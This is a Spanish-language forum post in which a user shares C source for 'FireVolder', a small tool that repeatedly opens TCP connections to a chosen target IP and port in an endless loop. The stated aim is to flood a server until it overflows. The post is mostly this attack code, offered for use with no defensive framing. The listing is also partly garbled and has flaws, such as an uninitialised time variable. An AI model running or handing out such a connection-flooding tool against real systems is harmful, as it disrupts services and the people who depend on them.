Que tal hacer un programita que le abra tantas conexiones que se desborde?
Es lo mas seguro que he oido aqui xD!
Weno, el code en C es:
#include <time.h> //Hora
#include <stdio.h> //Funciones basicas entrada/salida
#include <string.h> //StrCmp
#include <stdlib.h> //Exit y otras
#include <signal.h> //Señales de salida
#include <arpa/inet.h> //struct sockaddr_in
#include <sys/socket.h> //Socket, Connect...
struct sockaddr_in host;
int sockfd, cont = 0;
void shutup (int signal)
{
printf ("Interrupt signal %d ::: Closing clonnections...\n%d conexions with server\n\n", signal
, cont
); close (sockfd);
}
int finalizar (int state)
{
if (state == 1)
{
printf ("Ocurrio un error en tiempo de ejecucion...\n\n"); return 1;
}
else return 0;
}
int main (int argc, char *argv [])
{
struct tm *ahora;
char hora [40];
strftime (hora
, 40, "%d/%m/%Y %H:%M:%S" , ahora
); printf ("FireVolder 0.1 - By Sagrini (2010) - %s\n", hora
);
if (argc != 3)
{
printf ("Use: %s <target_ip> <port>\n\n", argv
[0]); return 1;
}
signal (SIGTERM, shutup);
signal (SIGINT, shutup);
host.
sin_port=htons
(atoi (argv
[2]));
host.sin_family=AF_INET;
host.sin_addr.s_addr=inet_addr (argv [1]);
printf ("Gotting connections with %s:%d...\n", inet_ntoa
(host.
sin_addr), ntohs
(host.
sin_port));
while (1)
{
while ((sockfd=socket (2, 1, 0))==1) sleep (1);
while (connect (sockfd, (struct sockaddr*)&host, sizeof (host))==-1) sleep (1);
cont ++;
close (sockfd);
}
return 0;
}
Compila
Y usa:
De nadas !
Pd: El code es 100% mio. Es sacado de una "plantilla", un viejo code que tenia por ahi (tmb mio xD)... Me puse a borrar cosas y cambiarlas de sitio y vualá!